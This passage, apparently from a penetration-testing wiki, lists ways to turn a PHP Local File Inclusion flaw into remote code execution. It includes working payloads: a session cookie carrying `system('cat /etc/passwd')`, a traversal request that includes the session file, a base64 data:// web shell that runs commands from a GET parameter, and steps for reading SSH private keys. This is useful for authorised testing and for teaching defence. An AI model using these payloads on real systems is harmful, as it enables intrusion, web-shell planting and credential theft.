Upload a ZIP file containing a PHP shell compressed and access:



```
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions <a href="#via-php-sessions" id="via-php-sessions"></a>

Check if the website use PHP Session (PHPSESSID)

```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into _/var/lib/php5/sess\\_\[PHPSESSID]\_ files

```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

### Use the LFI to include the PHP session file

```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh <a href="#via-ssh" id="via-ssh"></a>

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access **\<HOME>/.ssh/id\_rsa**

### **Via** **vsftpd** _**logs**_ <a href="#via-vsftpd-logs" id="via-vsftpd-logs"></a>

The logs for the FTP server vsftpd are located at _**/var/log/vsftpd.log**_. In the scenario where a Local File Inclusion (LFI) vulnerability exists, and access to an exposed vsftpd server is possible, the following steps can be considered:

1. Inject a PHP payload into the username field during the login process.
2. Post injection, utilize the LFI to retrieve the server logs from _**/var/log/vsftpd.log**_.

### Via php base64 filter (using base64) <a href="#via-php-base64-filter-using-base64" id="via-php-base64-filter-using-base64"></a>

As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:

```
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

### Via php filters (no file needed) <a href="#via-php-filters-no-file-needed" id="via-php-filters-no-file-needed"></a>

This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.

[PAGELFI2RCE via PHP Filters](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)

### Via segmentation fault <a href="#via-segmentation-fault" id="via-segmentation-fault"></a>

**Upload** a file that will be stored as **temporary** in `/tmp`, then in the **same request,** trigger a **segmentation fault**, and then the **temporary file won't be deleted** and you can search for it.

[PAGELFI2RCE via Segmentation Fault](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault)

### Via Nginx temp file storage <a href="#via-nginx-temp-file-storage" id="via-nginx-temp-file-storage"></a>

If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:

[PAGELFI2RCE via Nginx temp files](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files)

### Via PHP\_SESSION\_UPLOAD\_PROGRESS <a href="#via-php_session_upload_progress" id="via-php_session_upload_progress"></a>

If you found a **Local File Inclusion** even if you **don't have a session** and `session.auto_start` is `Off`. If you provide the **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data, PHP will **enable the session for you**. You could abuse this to get RCE:

[PAGELFI2RCE via PHP\_SESSION\_UPLOAD\_PROGRESS](https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress)

### Via temp file uploads in Windows <a href="#via-temp-file-uploads-in-windows" id="via-temp-file-uploads-in-windows"></a>

If you found a **Local File Inclusion** and and the server is running in **Windows** you might get RCE:

[PAGELFI2RCE Via temp file uploads](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads)

### Via phpinfo() (file\_uploads = on) <a href="#via-phpinfo-file_uploads-on" id="via-phpinfo-file_uploads-on"></a>

If you found a **Local File Inclusion** and a file exposing **phpinfo()** with file\_uploads = on you can get RCE:

[PAGELFI2RCE via phpinfo()](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-phpinfo)

### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure <a href="#via-compress.zlib--php_stream_prefer_studio--path-disclosure" id="via-compress.zlib--php_stream_prefer_studio--path-disclosure"></a>

If you found a **Local File Inclusion** and you **can exfiltrate the path** of the temp file BUT the **server** is **checking** if the **file to be included has PHP marks**, you can try to **bypass that check** with this **Race Condition**:

[PAGELFI2RCE Via compress.zlib + PHP\_STREAM\_PREFER\_STUDIO + Path Disclosure](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure)

### Via eternal waiting + bruteforce <a href="#via-eternal-waiting--bruteforce" id="via-eternal-waiting--bruteforce"></a>

If you can abuse the LFI to **upload temporary files** and make the server **hang** the PHP execution, you could then **brute force filenames during hours** to find the temporary file:

[PAGELFI2RCE via Eternal waiting](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting)

### To Fatal Error <a href="#to-fatal-error" id="to-fatal-error"></a>

If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).

**I don't know how is this useful but it might be.** _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._

![](https://book.hacktricks.xyz/~gitbook/image?url=https%3A%2F%2F129538173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252F-L_2uGJGU7AVNRcqRvEi%252Fuploads%252FJmw2mcXj7BplxfReaLxL%252Fimage.png%3Falt%3Dmedia%26token%3D898f2793-e077-44ee-88ef-6051474e49af\&width=768\&dpr=4\&quality=100\&sign=308cc3b6\&sv=1)
